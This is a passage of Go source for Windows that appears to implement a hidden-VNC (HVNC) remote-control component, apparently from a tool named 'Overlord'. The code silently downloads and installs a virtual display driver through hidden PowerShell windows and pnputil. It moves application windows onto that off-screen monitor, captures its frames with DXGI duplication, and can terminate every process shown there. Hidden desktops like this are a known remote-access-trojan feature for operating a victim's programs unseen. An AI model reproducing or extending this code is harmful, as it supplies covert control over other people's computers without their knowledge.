|
procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(winW), uintptr(winH), 0x0040|0x0010)
|
|
|
|
log.Printf("virtual: moved window hwnd=0x%x (pid=%d) to virtual monitor (%d,%d)", hwnd, pid, bounds.Min.X, bounds.Min.Y)
|
|
moved++
|
|
break
|
|
}
|
|
|
|
_ = moved // keep watching for child/handed-off windows after the first one
|
|
}
|
|
}
|
|
|
|
func VirtualKillAll() error {
|
|
virtualMu.Lock()
|
|
bounds := virtualMonitorBounds
|
|
virtualMu.Unlock()
|
|
|
|
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
|
return fmt.Errorf("virtual: no virtual monitor bounds")
|
|
}
|
|
|
|
type rawWin struct {
|
|
hwnd uintptr
|
|
}
|
|
var windows []rawWin
|
|
|
|
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
|
|
windows = append(windows, rawWin{hwnd: hwnd})
|
|
return 1
|
|
})
|
|
|
|
deskHwnd, _, _ := procGetDesktopWindow.Call()
|
|
procEnumDesktopWindows.Call(deskHwnd, cb, 0)
|
|
|
|
pids := make(map[uint32]struct{})
|
|
for _, w := range windows {
|
|
var r rect
|
|
ok, _, _ := procGetWindowRect.Call(w.hwnd, uintptr(unsafe.Pointer(&r)))
|
|
if ok == 0 {
|
|
continue
|
|
}
|
|
winLeft := int(r.left)
|
|
winTop := int(r.top)
|
|
winRight := int(r.right)
|
|
winBottom := int(r.bottom)
|
|
if winRight <= winLeft || winBottom <= winTop {
|
|
continue
|
|
}
|
|
|
|
if winLeft >= bounds.Min.X && winTop >= bounds.Min.Y &&
|
|
winLeft < bounds.Max.X && winTop < bounds.Max.Y {
|
|
var pid uint32
|
|
procGetWindowThreadProcessId.Call(w.hwnd, uintptr(unsafe.Pointer(&pid)))
|
|
if pid != 0 {
|
|
pids[pid] = struct{}{}
|
|
}
|
|
}
|
|
}
|
|
|
|
const PROCESS_TERMINATE = 0x0001
|
|
killed := 0
|
|
for pid := range pids {
|
|
hProc, _, _ := kernel32.NewProc("OpenProcess").Call(PROCESS_TERMINATE, 0, uintptr(pid))
|
|
if hProc != 0 {
|
|
procTerminateProcess.Call(hProc, 1)
|
|
kernel32.NewProc("CloseHandle").Call(hProc)
|
|
killed++
|
|
}
|
|
}
|
|
log.Printf("virtual: kill all: terminated %d processes across %d pids", killed, len(pids))
|
|
return nil
|
|
}
|
|
|
|
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
|
virtualMu.Lock()
|
|
bounds := virtualMonitorBounds
|
|
name := virtualMonitorName
|
|
initialized := virtualInitialized
|
|
virtualMu.Unlock()
|
|
|
|
if !initialized || bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
|
return nil, nil
|
|
}
|
|
|
|
monInfos := []HVNCMonitorInfo{{
|
|
Index: 0,
|
|
Name: name,
|
|
X: bounds.Min.X,
|
|
Y: bounds.Min.Y,
|
|
Width: bounds.Dx(),
|
|
Height: bounds.Dy(),
|
|
Primary: false,
|
|
}}
|
|
|
|
type rawWin struct {
|
|
hwnd uintptr
|
|
}
|
|
var windowList []rawWin
|
|
|
|
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
|
|
windowList = append(windowList, rawWin{hwnd: hwnd})
|
|
return 1
|
|
})
|
|
|
|
deskHwnd, _, _ := procGetDesktopWindow.Call()
|
|
procEnumDesktopWindows.Call(deskHwnd, cb, 0)
|
|
|
|
var result []HVNCWindowInfo
|
|
for _, w := range windowList {
|
|
if !isWindowVisible(w.hwnd) {
|
|
continue
|
|
}
|
|
var r rect
|
|
ok, _, _ := procGetWindowRect.Call(w.hwnd, uintptr(unsafe.Pointer(&r)))
|
|
if ok == 0 {
|
|
continue
|
|
}
|
|
winW := int(r.right - r.left)
|
|
winH := int(r.bottom - r.top)
|
|
if winW <= 0 || winH <= 0 {
|
|
continue
|
|
}
|
|
|
|
title := getWindowText(w.hwnd)
|
|
if title == "" {
|
|
continue
|
|
}
|
|
|
|
var pid uint32
|
|
procGetWindowThreadProcessId.Call(w.hwnd, uintptr(unsafe.Pointer(&pid)))
|
|
|
|
procName := ""
|
|
if pid != 0 {
|
|
procName = getProcessName(pid)
|
|
}
|
|
|
|
winLeft := int(r.left)
|
|
winTop := int(r.top)
|
|
monIdx := -1
|
|
if winLeft >= bounds.Min.X && winTop >= bounds.Min.Y &&
|
|
winLeft < bounds.Max.X && winTop < bounds.Max.Y {
|
|
monIdx = 0
|
|
}
|
|
|
|
result = append(result, HVNCWindowInfo{
|
|
HWND: w.hwnd,
|
|
Title: title,
|
|
X: winLeft,
|
|
Y: winTop,
|
|
Width: winW,
|
|
Height: winH,
|
|
PID: pid,
|
|
ProcessName: procName,
|
|
Monitor: monIdx,
|
|
Visible: true,
|
|
})
|
|
}
|
|
return result, monInfos
|
|
}
|
|
|
|
func findVirtualMonitor() (string, image.Rectangle, error) {
|
|
factory, err := createDXGIFactory1()
|
|
if err != nil {
|
|
return "", image.Rectangle{}, fmt.Errorf("dxgi factory: %v", err)
|
|
}
|
|
defer factory.Release()
|
|
|
|
var fallbackName string
|
|
var fallbackAdapter *idxgiAdapter1
|
|
var fallbackOutput *idxgiOutput
|
|
|
|
for adapterIndex := 0; ; adapterIndex++ {
|
|
var adapter *idxgiAdapter1
|
|
hr := factory.EnumAdapters1(uint32(adapterIndex), &adapter)
|
|
if hr == dxgiErrorNotFound {
|
|
break
|
|
}
|
|
if hr != S_OK || adapter == nil {
|
|
continue
|
|
}
|
|
|
|
var desc1 dxgiAdapterDesc1
|
|
_ = adapter.GetDesc1(&desc1)
|
|
descStr := windows.UTF16ToString(desc1.Description[:])
|
|
descLower := strings.ToLower(descStr)
|
|
|
|
isVirtual := (desc1.Flags&dxgiAdapterFlagSoftware) != 0 ||
|
|
strings.Contains(descLower, "virtual") ||
|
|
strings.Contains(descLower, "mttvdd") ||
|
|
strings.Contains(descLower, "indirect") ||
|
|
strings.Contains(descLower, "idd")
|
|
|
|
if !isVirtual {
|
|
isVirtual = desc1.DedicatedVideoMemory == 0 &&
|
|
desc1.DedicatedSystemMemory == 0 &&
|
|
desc1.SharedSystemMemory == 0
|
|
}
|
|
|
|
for outputIndex := 0; ; outputIndex++ {
|
|
var output *idxgiOutput
|
|
hrOut := adapter.EnumOutputs(uint32(outputIndex), &output)
|
|
if hrOut == dxgiErrorNotFound {
|
|
break
|
|
}
|
|
if hrOut != S_OK || output == nil {
|
|
continue
|
|
}
|
|
|
|
var outDesc dxgiOutputDesc
|
|
_ = output.GetDesc(&outDesc)
|
|
name := windows.UTF16ToString(outDesc.DeviceName[:])
|
|
coords := image.Rect(
|
|
int(outDesc.DesktopCoordinates.left),
|
|
int(outDesc.DesktopCoordinates.top),
|
|
int(outDesc.DesktopCoordinates.right),
|
|
int(outDesc.DesktopCoordinates.bottom),
|
|
)
|
|
|
|
attached := outDesc.AttachedToDesktop != 0
|
|
|
|
if isVirtual && attached && coords.Dx() > 0 && coords.Dy() > 0 {
|
|
log.Printf("virtual: found virtual monitor %q adapter=%q bounds=%v flags=0x%x",
|
|
name, descStr, coords, desc1.Flags)
|
|
if fallbackOutput != nil {
|
|
fallbackOutput.Release()
|
|
}
|
|
if fallbackAdapter != nil {
|
|
fallbackAdapter.Release()
|
|
}
|
|
adapter.Release()
|
|
return name, coords, nil
|
|
}
|
|
|
|
if isVirtual && !attached && fallbackName == "" {
|
|
fallbackName = name
|
|
if fallbackAdapter != nil {
|
|
fallbackAdapter.Release()
|
|
}
|
|
fallbackAdapter = adapter
|
|
adapter = nil
|
|
if fallbackOutput != nil {
|
|
fallbackOutput.Release()
|
|
}
|
|
fallbackOutput = output
|
|
output = nil
|
|
log.Printf("virtual: found disconnected virtual monitor %q adapter=%q - will try to enable",
|
|
name, descStr)
|
|
}
|
|
|
|
if output != nil {
|
|
output.Release()
|
|
}
|
|
}
|
|
if adapter != nil {
|
|
adapter.Release()
|
|
}
|
|
}
|
|
|
|
if fallbackName != "" && fallbackOutput != nil && fallbackAdapter != nil {
|
|
fallbackOutput.Release()
|
|
fallbackAdapter.Release()
|
|
log.Printf("virtual: virtual monitor found but disconnected; attempting to attach it")
|
|
enableFirstVirtualDisplay()
|
|
time.Sleep(2 * time.Second)
|
|
|
|
return findVirtualMonitor()
|
|
}
|
|
|
|
name, coords := findVirtualMonitorByDeviceID(factory)
|
|
if name != "" {
|
|
return name, coords, nil
|
|
}
|
|
|
|
return "", image.Rectangle{}, fmt.Errorf("no virtual monitor adapter found")
|
|
}
|
|
|
|
func findVirtualMonitorByDeviceID(factory *idxgiFactory1) (string, image.Rectangle) {
|
|
procEnumDisplayDevices := user32.NewProc("EnumDisplayDevicesW")
|
|
|
|
type displayDevice struct {
|
|
cb uint32
|
|
DeviceName [32]uint16
|
|
DeviceString [128]uint16
|
|
StateFlags uint32
|
|
DeviceID [128]uint16
|
|
DeviceKey [128]uint16
|
|
}
|
|
|
|
virtualNames := make(map[string]bool)
|
|
for i := 0; i < 128; i++ {
|
|
var dd displayDevice
|
|
dd.cb = uint32(unsafe.Sizeof(dd))
|
|
ret, _, _ := procEnumDisplayDevices.Call(0, uintptr(i), uintptr(unsafe.Pointer(&dd)), 0)
|
|
if ret == 0 {
|
|
break
|
|
}
|
|
deviceID := strings.ToLower(syscall.UTF16ToString(dd.DeviceID[:]))
|
|
if strings.Contains(deviceID, "root") || strings.Contains(deviceID, "mttvdd") || strings.Contains(deviceID, "virtual") {
|
|
name := syscall.UTF16ToString(dd.DeviceName[:])
|
|
virtualNames[name] = true
|
|
log.Printf("virtual: identified virtual display device %q (deviceID=%s)", name, deviceID)
|
|
}
|
|
}
|
|
|
|
if len(virtualNames) == 0 {
|
|
return "", image.Rectangle{}
|
|
}
|
|
|
|
for adapterIndex := 0; ; adapterIndex++ {
|
|
var adapter *idxgiAdapter1
|
|
hr := factory.EnumAdapters1(uint32(adapterIndex), &adapter)
|
|
if hr == dxgiErrorNotFound {
|
|
break
|
|
}
|
|
if hr != S_OK || adapter == nil {
|
|
continue
|
|
}
|
|
|
|
for outputIndex := 0; ; outputIndex++ {
|
|
var output *idxgiOutput
|
|
hrOut := adapter.EnumOutputs(uint32(outputIndex), &output)
|
|
if hrOut == dxgiErrorNotFound {
|
|
break
|
|
}
|
|
if hrOut != S_OK || output == nil {
|
|
continue
|
|
}
|
|
|
|
var outDesc dxgiOutputDesc
|
|
_ = output.GetDesc(&outDesc)
|
|
name := windows.UTF16ToString(outDesc.DeviceName[:])
|
|
coords := image.Rect(
|
|
int(outDesc.DesktopCoordinates.left),
|
|
int(outDesc.DesktopCoordinates.top),
|
|
int(outDesc.DesktopCoordinates.right),
|
|
int(outDesc.DesktopCoordinates.bottom),
|
|
)
|
|
|
|
if virtualNames[name] && outDesc.AttachedToDesktop != 0 && coords.Dx() > 0 && coords.Dy() > 0 {
|
|
log.Printf("virtual: found virtual monitor via device ID: %q bounds=%v", name, coords)
|
|
adapter.Release()
|
|
return name, coords
|
|
}
|
|
|
|
output.Release()
|
|
}
|
|
adapter.Release()
|
|
}
|
|
|
|
return "", image.Rectangle{}
|
|
}
|
|
|
|
func enableFirstVirtualDisplay() {
|
|
procEnumDisplayDevices := user32.NewProc("EnumDisplayDevicesW")
|
|
procChangeDisplaySettingsEx := user32.NewProc("ChangeDisplaySettingsExW")
|
|
|
|
type displayDevice struct {
|
|
cb uint32
|
|
DeviceName [32]uint16
|
|
DeviceString [128]uint16
|
|
StateFlags uint32
|
|
DeviceID [128]uint16
|
|
DeviceKey [128]uint16
|
|
}
|
|
const DISPLAY_DEVICE_ACTIVE = 0x00000001
|
|
const DM_POSITION = 0x00000020
|
|
const DM_PELSWIDTH = 0x00080000
|
|
const DM_PELSHEIGHT = 0x00100000
|
|
|
|
type devMode struct {
|
|
dmDeviceName [32]uint16
|
|
dmSpecVersion uint16
|
|
dmDriverVersion uint16
|
|
dmSize uint16
|
|
dmDriverExtra uint16
|
|
dmFields uint32
|
|
dmPositionX int32
|
|
dmPositionY int32
|
|
dmDisplayOrientation uint32
|
|
dmDisplayFixedOutput uint32
|
|
dmColor int16
|
|
dmDuplex int16
|
|
dmYResolution int16
|
|
dmTTOption int16
|
|
dmCollate int16
|
|
dmFormName [32]uint16
|
|
dmLogPixels uint16
|
|
dmBitsPerPel uint32
|
|
dmPelsWidth uint32
|
|
dmPelsHeight uint32
|
|
dmDisplayFlags uint32
|
|
dmDisplayFrequency uint32
|
|
dmDisplayOrientation2 uint32
|
|
}
|
|
|
|
for i := 0; ; i++ {
|
|
var dd displayDevice
|
|
dd.cb = uint32(unsafe.Sizeof(dd))
|
|
ret, _, _ := procEnumDisplayDevices.Call(0, uintptr(i), uintptr(unsafe.Pointer(&dd)), 0)
|
|
if ret == 0 {
|
|
break
|
|
}
|
|
|
|
deviceID := strings.ToLower(syscall.UTF16ToString(dd.DeviceID[:]))
|
|
isVirtualDevice := strings.Contains(deviceID, "root") || strings.Contains(deviceID, "mttvdd") || strings.Contains(deviceID, "virtual")
|
|
|
|
if !isVirtualDevice {
|
|
continue
|
|
}
|
|
|
|
name := syscall.UTF16ToString(dd.DeviceName[:])
|
|
log.Printf("virtual: attempting to attach virtual display %q (deviceID=%s)", name, deviceID)
|
|
|
|
var dm devMode
|
|
dm.dmSize = uint16(unsafe.Sizeof(dm))
|
|
dm.dmFields = DM_POSITION | DM_PELSWIDTH | DM_PELSHEIGHT
|
|
dm.dmPelsWidth = 1920
|
|
dm.dmPelsHeight = 1080
|
|
|
|
const CDS_UPDATEREGISTRY = 0x00000001
|
|
namePtr, _ := syscall.UTF16PtrFromString(name)
|
|
procChangeDisplaySettingsEx.Call(
|
|
uintptr(unsafe.Pointer(namePtr)),
|
|
uintptr(unsafe.Pointer(&dm)),
|
|
0,
|
|
CDS_UPDATEREGISTRY,
|
|
0,
|
|
)
|
|
log.Printf("virtual: attached virtual display %q", name)
|
|
return
|
|
}
|
|
}
|
|
|
|
func installVirtualDriver() error {
|
|
driverURL := os.Getenv(virtualDriverURLEnv)
|
|
|
|
tmpDir := filepath.Join(os.TempDir(), virtualDriverDirName)
|
|
if err := os.MkdirAll(tmpDir, 0755); err != nil {
|
|
return fmt.Errorf("create temp dir: %v", err)
|
|
}
|
|
|
|
zipPath := filepath.Join(tmpDir, "driver.zip")
|
|
|
|
if driverURL == "" {
|
|
driverURL = resolveLatestDriverURL()
|
|
if driverURL == "" {
|
|
log.Printf("virtual: could not resolve latest driver URL. Set %s to a direct download URL.", virtualDriverURLEnv)
|
|
return fmt.Errorf("could not resolve driver URL")
|
|
}
|
|
}
|
|
|
|
log.Printf("virtual: downloading virtual display driver from %s", driverURL)
|
|
|
|
psCmd := fmt.Sprintf(
|
|
`[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%s' -OutFile '%s' -UseBasicParsing`,
|
|
driverURL, zipPath,
|
|
)
|
|
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", psCmd)
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
|
output, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
log.Printf("virtual: download failed: %v (output: %s)", err, string(output))
|
|
return fmt.Errorf("download failed: %v", err)
|
|
}
|
|
|
|
extractDir := filepath.Join(tmpDir, "extracted")
|
|
if err := os.MkdirAll(extractDir, 0755); err != nil {
|
|
return fmt.Errorf("create extract dir: %v", err)
|
|
}
|
|
|
|
cmd = exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command",
|
|
fmt.Sprintf(`Expand-Archive -Path '%s' -DestinationPath '%s' -Force`, zipPath, extractDir))
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
|
output, err = cmd.CombinedOutput()
|
|
if err != nil {
|
|
return fmt.Errorf("extract failed: %v (output: %s)", err, string(output))
|
|
}
|
|
|
|
infFiles := findInfFiles(extractDir)
|
|
if len(infFiles) == 0 {
|
|
return fmt.Errorf("no INF file found in extracted driver")
|
|
}
|
|
|
|
installed := false
|
|
for _, inf := range infFiles {
|
|
cmd = exec.Command("pnputil", "/add-driver", inf, "/install")
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
|
output, err = cmd.CombinedOutput()
|
|
outStr := string(output)
|
|
installed = installed || strings.Contains(outStr, "Driver package added successfully")
|
|
if err != nil {
|
|
if installed {
|
|
log.Printf("virtual: pnputil install %s completed (exit code %v, already present): %s", inf, err, outStr)
|
|
} else {
|
|
log.Printf("virtual: pnputil install %s: %v (output: %s)", inf, err, outStr)
|
|
continue
|
|
}
|
|
}
|
|
}
|
|
|
|
if !installed {
|
|
return fmt.Errorf("no driver INF installed successfully")
|
|
}
|
|
|
|
log.Printf("virtual: driver installed, enabling any disabled virtual displays")
|
|
enableDisabledVirtualDisplays()
|
|
return nil
|
|
}
|
|
|
|
func enableDisabledVirtualDisplays() {
|
|
procEnumDisplayDevices := user32.NewProc("EnumDisplayDevicesW")
|
|
procChangeDisplaySettingsEx := user32.NewProc("ChangeDisplaySettingsExW")
|
|
|
|
type displayDevice struct {
|
|
cb uint32
|
|
DeviceName [32]uint16
|
|
DeviceString [128]uint16
|
|
StateFlags uint32
|
|
DeviceID [128]uint16
|
|
DeviceKey [128]uint16
|
|
}
|
|
const DISPLAY_DEVICE_ACTIVE = 0x00000001
|
|
const DM_POSITION = 0x00000020
|
|
const DM_PELSWIDTH = 0x00080000
|
|
const DM_PELSHEIGHT = 0x00100000
|
|
|
|
type devMode struct {
|
|
dmDeviceName [32]uint16
|
|
dmSpecVersion uint16
|
|
dmDriverVersion uint16
|
|
dmSize uint16
|
|
dmDriverExtra uint16
|
|
dmFields uint32
|
|
dmPositionX int32
|
|
dmPositionY int32
|
|
dmDisplayOrientation uint32
|
|
dmDisplayFixedOutput uint32
|
|
dmColor int16
|
|
dmDuplex int16
|
|
dmYResolution int16
|
|
dmTTOption int16
|
|
dmCollate int16
|
|
dmFormName [32]uint16
|
|
dmLogPixels uint16
|
|
dmBitsPerPel uint32
|
|
dmPelsWidth uint32
|
|
dmPelsHeight uint32
|
|
dmDisplayFlags uint32
|
|
dmDisplayFrequency uint32
|
|
dmDisplayOrientation2 uint32
|
|
}
|
|
|
|
found := false
|
|
for i := 0; i < 128; i++ {
|
|
var dd displayDevice
|
|
dd.cb = uint32(unsafe.Sizeof(dd))
|
|
ret, _, _ := procEnumDisplayDevices.Call(0, uintptr(i), uintptr(unsafe.Pointer(&dd)), 0)
|
|
if ret == 0 {
|
|
break
|
|
}
|
|
|
|
if dd.StateFlags&DISPLAY_DEVICE_ACTIVE != 0 {
|
|
continue
|
|
}
|
|
|
|
deviceID := strings.ToLower(syscall.UTF16ToString(dd.DeviceID[:]))
|
|
isVirtualDevice := strings.Contains(deviceID, "root") || strings.Contains(deviceID, "mttvdd") || strings.Contains(deviceID, "virtual")
|
|
|
|
if !isVirtualDevice {
|
|
continue
|
|
}
|
|
|
|
name := syscall.UTF16ToString(dd.DeviceName[:])
|
|
log.Printf("virtual: enabling disabled virtual display %q (deviceID=%s)", name, deviceID)
|
|
|
|
var dm devMode
|
|
dm.dmSize = uint16(unsafe.Sizeof(dm))
|
|
dm.dmFields = DM_POSITION | DM_PELSWIDTH | DM_PELSHEIGHT
|
|
dm.dmPelsWidth = 1920
|
|
dm.dmPelsHeight = 1080
|
|
|
|
const CDS_UPDATEREGISTRY = 0x00000001
|
|
namePtr, _ := syscall.UTF16PtrFromString(name)
|
|
procChangeDisplaySettingsEx.Call(
|
|
uintptr(unsafe.Pointer(namePtr)),
|
|
uintptr(unsafe.Pointer(&dm)),
|
|
0,
|
|
CDS_UPDATEREGISTRY,
|
|
0,
|
|
)
|
|
found = true
|
|
log.Printf("virtual: enabled virtual display %q", name)
|
|
break
|
|
}
|
|
if found {
|
|
time.Sleep(3 * time.Second)
|
|
}
|
|
}
|
|
|
|
func resolveLatestDriverURL() string {
|
|
apiURL := "https://api.github.com/repos/VirtualDrivers/Virtual-Display-Driver/releases/latest"
|
|
psCmd := fmt.Sprintf(
|
|
`[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $headers = @{'User-Agent'='Overlord'}; try { $r = Invoke-RestMethod -Uri '%s' -Headers $headers -TimeoutSec 15; $r.assets | Where-Object { $_.name -like '*Driver.Only.zip' -and $_.name -notlike '*ARM64*' -and $_.name -notlike '*VirtualAudio*' } | Select-Object -First 1 -ExpandProperty browser_download_url } catch { '' }`,
|
|
apiURL,
|
|
)
|
|
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", psCmd)
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
|
output, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
log.Printf("virtual: GitHub API request failed: %v", err)
|
|
return ""
|
|
}
|
|
url := strings.TrimSpace(string(output))
|
|
if url == "" {
|
|
log.Printf("virtual: no matching driver asset found in GitHub release")
|
|
return ""
|
|
}
|
|
return url
|
|
}
|
|
|
|
func findInfFiles(dir string) []string {
|
|
var infs []string
|
|
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
if !info.IsDir() && strings.EqualFold(filepath.Ext(path), ".inf") {
|
|
infs = append(infs, path)
|
|
}
|
|
return nil
|
|
})
|
|
return infs
|
|
}
|
|
|
|
func (s *virtualDuplicationState) capture() (*image.RGBA, error) {
|
|
s.mu.Lock()
|
|
defer s.mu.Unlock()
|
|
|
|
if err := s.ensure(); err != nil {
|
|
s.lastFail = time.Now()
|
|
return nil, err
|
|
}
|
|
|
|
var info dxgiOutDuplFrameInfo
|
|
var resource *iunknown
|
|
waitMs := uint32(5)
|
|
hr := uintptr(0)
|
|
for {
|
|
hr = s.dup.AcquireNextFrame(waitMs, &info, &resource)
|
|
if hr != dxgiErrorWaitTimeout {
|
|
break
|
|
}
|
|
if s.lastBase != nil {
|
|
width := int(s.desc.ModeDesc.Width)
|
|
height := int(s.desc.ModeDesc.Height)
|
|
img := s.composeFrame(s.lastBase, width, height)
|
|
if img == s.lastBase {
|
|
img = cloneRGBA(img)
|
|
}
|
|
s.lastFrameAt = time.Now()
|
|
return img, nil
|
|
}
|
|
if s.lastFrame != nil {
|
|
return cloneRGBA(s.lastFrame), nil
|
|
}
|
|
if waitMs >= 50 {
|
|
return nil, errors.New("virtual dxgi: frame timeout")
|
|
}
|
|
waitMs = 50
|
|
}
|
|
if hr == dxgiErrorAccessLost {
|
|
s.close()
|
|
return nil, errors.New("virtual dxgi: access lost")
|
|
}
|
|
if hr == dxgiErrorDeviceRemoved || hr == dxgiErrorDeviceReset {
|
|
s.close()
|
|
return nil, fmt.Errorf("virtual dxgi: device lost 0x%x", hr)
|
|
}
|
|
if hr != S_OK {
|
|
return nil, fmt.Errorf("virtual dxgi: acquire frame failed 0x%x", hr)
|
|
}
|
|
if resource != nil {
|
|
defer resource.Release()
|
|
}
|
|
|
|
width := int(s.desc.ModeDesc.Width)
|
|
height := int(s.desc.ModeDesc.Height)
|
|
if width <= 0 || height <= 0 {
|
|
_ = s.dup.ReleaseFrame()
|
|
return nil, errors.New("virtual dxgi: invalid frame size")
|
|
}
|
|
|
|
var img *image.RGBA
|
|
userScale := effectiveScale(width, height)
|
|
dstW := int(float64(width) * userScale)
|
|
dstH := int(float64(height) * userScale)
|
|
wantScale := userScale != 1 && dstW > 0 && dstH > 0 && (dstW != width || dstH != height)
|
|
|
|
if s.desc.DesktopImageInSystemMemory != 0 {
|
|
var mapped dxgiMappedRect
|
|
hr = s.dup.MapDesktopSurface(&mapped)
|
|
if hr != S_OK {
|
|
_ = s.dup.ReleaseFrame()
|
|
return nil, fmt.Errorf("virtual dxgi: map desktop surface failed 0x%x", hr)
|
|
}
|
|
dup := s.dup
|
|
defer func() {
|
|
_ = dup.UnMapDesktopSurface()
|
|
_ = dup.ReleaseFrame()
|
|
}()
|
|
|
|
if mapped.Pitch <= 0 || mapped.Bits == nil {
|
|
return nil, errors.New("virtual dxgi: invalid mapped surface")
|
|
}
|
|
|
|
pitch := int(mapped.Pitch)
|
|
if pitch < width*4 {
|
|
return nil, fmt.Errorf("virtual dxgi: pitch %d too small for width %d", pitch, width)
|
|
}
|
|
totalBytes := pitch * height
|
|
if totalBytes/height != pitch {
|
|
return nil, fmt.Errorf("virtual dxgi: pitch*height overflow (%d * %d)", pitch, height)
|
|
}
|
|
src := unsafe.Slice(mapped.Bits, totalBytes)
|
|
if wantScale {
|
|
img = convertBGRAScaled(src, pitch, width, height, dstW, dstH, s.desc.Rotation)
|
|
}
|
|
if img == nil {
|
|
img = convertBGRA(src, pitch, width, height, s.desc.Rotation)
|
|
}
|
|
if img == nil {
|
|
return nil, errors.New("virtual dxgi: pixel conversion failed")
|
|
}
|
|
} else {
|
|
img, hr = s.readbackFrame(width, height, s.desc.Rotation, resource,
|
|
wantScale, dstW, dstH)
|
|
_ = s.dup.ReleaseFrame()
|
|
if hr != S_OK || img == nil {
|
|
return nil, fmt.Errorf("virtual dxgi: staging readback failed 0x%x", hr)
|
|
}
|
|
}
|
|
|
|
captured := img
|
|
s.copyLastBase(captured)
|
|
img = s.composeFrame(captured, width, height)
|
|
if img != captured {
|
|
PutRGBA(captured)
|
|
}
|
|
if img == s.lastBase {
|
|
img = cloneRGBA(img)
|
|
}
|
|
s.lastFrame = nil
|
|
s.lastFrameAt = time.Now()
|
|
|
|
return img, nil
|
|
}
|
|
|
|
func (s *virtualDuplicationState) ensure() error {
|
|
dxgiComInit.Do(func() {
|
|
const coinitMultithreaded = 0x0
|
|
hr, _, _ := procCoInitDXGI.Call(0, coinitMultithreaded)
|
|
if hr != S_OK && hr != 1 {
|
|
log.Printf("virtual: CoInitializeEx for DXGI failed: 0x%x", hr)
|
|
}
|
|
})
|
|
|
|
if s.dup != nil {
|
|
const dxgiDeviceMaxAge = 4 * time.Hour
|
|
if !s.createdAt.IsZero() && time.Since(s.createdAt) > dxgiDeviceMaxAge {
|
|
log.Printf("virtual: dxgi device age exceeded; forcing re-init")
|
|
s.close()
|
|
} else {
|
|
return nil
|
|
}
|
|
} else {
|
|
s.close()
|
|
}
|
|
|
|
virtualMu.Lock()
|
|
bounds := virtualMonitorBounds
|
|
monName := virtualMonitorName
|
|
virtualMu.Unlock()
|
|
|
|
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
|
return errors.New("virtual dxgi: no virtual monitor bounds")
|
|
}
|
|
|
|
factory, err := createDXGIFactory1()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
for adapterIndex := 0; ; adapterIndex++ {
|
|
var adapter *idxgiAdapter1
|
|
hr := factory.EnumAdapters1(uint32(adapterIndex), &adapter)
|
|
if hr == dxgiErrorNotFound {
|
|
break
|
|
}
|
|
if hr != S_OK || adapter == nil {
|
|
continue
|
|
}
|
|
|
|
for outputIndex := 0; ; outputIndex++ {
|
|
var output *idxgiOutput
|
|
hrOut := adapter.EnumOutputs(uint32(outputIndex), &output)
|
|
if hrOut == dxgiErrorNotFound {
|
|
break
|
|
}
|
|
if hrOut != S_OK || output == nil {
|
|
continue
|
|
}
|
|
|
|
var desc dxgiOutputDesc
|
|
_ = output.GetDesc(&desc)
|
|
name := windows.UTF16ToString(desc.DeviceName[:])
|
|
coords := image.Rect(
|
|
int(desc.DesktopCoordinates.left),
|
|
int(desc.DesktopCoordinates.top),
|
|
int(desc.DesktopCoordinates.right),
|
|
int(desc.DesktopCoordinates.bottom),
|
|
)
|
|
|
|
if coords.Eq(bounds) && desc.AttachedToDesktop != 0 {
|
|
device, context, err := createD3DDevice(adapter)
|
|
if err != nil {
|
|
output.Release()
|
|
adapter.Release()
|
|
factory.Release()
|
|
return err
|
|
}
|
|
|
|
var output1 *idxgiOutput1
|
|
hrQ := (*iunknown)(unsafe.Pointer(output)).QueryInterface(&IID_IDXGIOutput1, unsafe.Pointer(&output1))
|
|
if hrQ != S_OK || output1 == nil {
|
|
context.Release()
|
|
device.Release()
|
|
output.Release()
|
|
adapter.Release()
|
|
factory.Release()
|
|
return errors.New("virtual dxgi: failed to query IDXGIOutput1")
|
|
}
|
|
|
|
var dup *idxgiOutputDuplication
|
|
hrD := output1.DuplicateOutput((*iunknown)(unsafe.Pointer(device)), &dup)
|
|
if hrD != S_OK || dup == nil {
|
|
output1.Release()
|
|
context.Release()
|
|
device.Release()
|
|
output.Release()
|
|
adapter.Release()
|
|
factory.Release()
|
|
return fmt.Errorf("virtual dxgi: DuplicateOutput failed 0x%x", hrD)
|
|
}
|
|
|
|
var dupDesc dxgiOutDuplDesc
|
|
_ = dup.GetDesc(&dupDesc)
|
|
|
|
s.factory = factory
|
|
s.adapter = adapter
|
|
s.output = output
|
|
s.output1 = output1
|
|
s.device = device
|
|
s.context = context
|
|
s.dup = dup
|
|
s.desc = dupDesc
|
|
s.outputName = name
|
|
s.bounds = bounds
|
|
s.createdAt = time.Now()
|
|
|
|
log.Printf("virtual: dxgi duplication initialized for virtual monitor %q bounds=%v", name, bounds)
|
|
return nil
|
|
}
|
|
output.Release()
|
|
}
|
|
adapter.Release()
|
|
}
|
|
|
|
factory.Release()
|
|
return fmt.Errorf("virtual dxgi: virtual monitor output not found for bounds=%v name=%q", bounds, monName)
|
|
}
|
|
|
|
func (s *virtualDuplicationState) close() {
|
|
if s.dup != nil {
|
|
s.dup.Release()
|
|
s.dup = nil
|
|
}
|
|
if s.staging != nil {
|
|
s.staging.Release()
|
|
s.staging = nil
|
|
}
|
|
if s.h264LastTex != nil {
|
|
s.h264LastTex.Release()
|
|
s.h264LastTex = nil
|
|
s.h264LastDesc = d3d11Texture2DDesc{}
|
|
}
